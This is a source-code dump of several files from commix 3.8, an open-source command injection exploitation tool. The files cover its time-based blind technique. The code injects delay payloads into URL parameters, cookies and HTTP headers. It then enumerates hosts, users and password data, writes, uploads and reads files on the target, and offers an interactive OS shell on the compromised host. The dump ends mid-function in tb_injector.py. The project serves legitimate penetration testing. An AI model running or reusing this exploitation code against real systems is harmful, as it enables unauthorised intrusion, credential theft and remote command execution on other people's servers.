Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
check_how_long = 0
checks.print_single_os_cmd(cmd, output)
return check_how_long, output
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
def reset():
if settings.ENUMERATION_DONE:
settings.ENUMERATION_DONE = False
reset()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().ps_version_msg()
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.hostname:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().hostname_msg()
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.current_user:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().current_user_msg()
current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.is_root or menu.options.is_admin:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.sys_info:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().os_info_msg()
system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.users:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
checks.print_enumenation().print_users_msg()
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.passwords:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
checks.print_enumenation().print_passes_msg()
system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
# eof commix-3.8/src/core/injections/blind/techniques/time_based/tb_file_access.py 0000775 0000000 0000000 00000014112 14466364451 0027416 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_injector
"""
The "time-based" injection technique on Blind OS Command Injection.
"""
"""
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == settings.OS.WINDOWS:
_ = True
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
cmd = checks.delete_tmp(tmp_fname)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
else:
cmd = checks.write_content(content, dest_to_write)
cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_write)
if settings.VERBOSITY_LEVEL == 0 and not _:
print(settings.SINGLE_WHITESPACE)
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
cmd, dest_to_upload = checks.check_file_to_upload()
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
checks.file_upload_status(shell, dest_to_upload)
"""
Read a file from the target host.
"""
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
cmd, file_to_read = checks.file_content_to_read()
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0:
print(settings.SINGLE_WHITESPACE)
checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
if menu.options.file_write:
file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--file-upload"
checks.unavailable_option(check_option)
else:
file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
# eof commix-3.8/src/core/injections/blind/techniques/time_based/tb_handler.py 0000775 0000000 0000000 00000071026 14466364451 0026602 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import time
import string
import random
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.utils import common
from src.core.compat import xrange
from src.utils import session_handler
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.core.injections.controller import shell_options
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_injector
from src.core.injections.blind.techniques.time_based import tb_payloads
from src.core.injections.blind.techniques.time_based import tb_enumeration
from src.core.injections.blind.techniques.time_based import tb_file_access
"""
The "time-based" injection technique on Blind OS Command Injection.
"""
"""
The "time-based" injection technique handler.
"""
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
if settings.VERBOSITY_LEVEL != 0:
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
# Check if defined "--maxlen" option.
if menu.options.maxlen:
settings.MAXLEN = maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
warn_msg = "The '--url-reload' option is not available in " + technique + "."
print(settings.print_warning_msg(warn_msg))
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.TIME_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
how_long = tb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))
if percent == 100 and no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
message = "Unexpected time delays have been identified due to unstable "
message += "requests. This behavior may lead to false positive results. "
sys.stdout.write("\r")
while True:
message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(1, 10)
randv2 = random.randrange(1, 10)
randvcalc = randv1 + randv2
if settings.TARGET_OS == settings.OS.WINDOWS:
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
rand_num = randv1 + randv2
cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")"
else:
cmd = "expr " + str(randv1) + " %2B " + str(randv2) + ""
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if settings.VERBOSITY_LEVEL == 0:
percent = settings.info_msg
else:
percent = ""
else:
break
# False positive
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
# if settings.VERBOSITY_LEVEL == 0:
# info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
# sys.stdout.write("\r" + settings.print_info_msg(info_msg))
# sys.stdout.flush()
except (KeyboardInterrupt, SystemExit):
print(settings.SINGLE_WHITESPACE)
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = ".. (" + str(float_percent) + "%)"
print(settings.SINGLE_WHITESPACE)
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = ".. (" + str(float_percent) + "%)"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Pseudo-Terminal shell
try:
checks.alert()
go_back = False
go_back_again = False
while True:
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.CRAWLING:
settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print(settings.print_output(output))
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(gotshell)
pass
# break
except (KeyboardInterrupt, SystemExit):
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
# Check if attack is based on time delays.
if not settings.TIME_RELATIVE_ATTACK :
warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
settings.TIME_RELATIVE_ATTACK = True
if url_time_response >= settings.SLOW_TARGET_RESPONSE:
warn_msg = "It is highly recommended, due to serious response delays, "
warn_msg += "to skip the time-based (blind) technique and to continue "
warn_msg += "with the file-based (semiblind) technique."
print(settings.print_warning_msg(warn_msg))
go_back = False
while True:
if go_back == True:
return False
message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
from src.core.injections.semiblind.techniques.file_based import fb_handler
fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique)
elif proceed_option.lower() == "c":
if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False:
return False
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
else:
if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False:
settings.TIME_RELATIVE_ATTACK = False
return False
# eof
commix-3.8/src/core/injections/blind/techniques/time_based/tb_injector.py 0000775 0000000 0000000 00000050243 14466364451 0027000 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import time
import json
import string
import random
import base64
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.core.injections.blind.techniques.time_based import tb_payloads
"""
The "time-based" injection technique on Blind OS Command Injection.
"""
"""
Examine the GET/POST requests
"""
def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response):
start = 0
end = 0
start = time.time()
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
# Check if defined method is POST.
else:
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
end = time.time()
how_long = int(end - start)
return how_long
"""
Check if target host is vulnerable.
"""
def injection_test(payload, http_request_method, url):
start = 0
end = 0
start = time.time()
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
# Define the vulnerable parameter
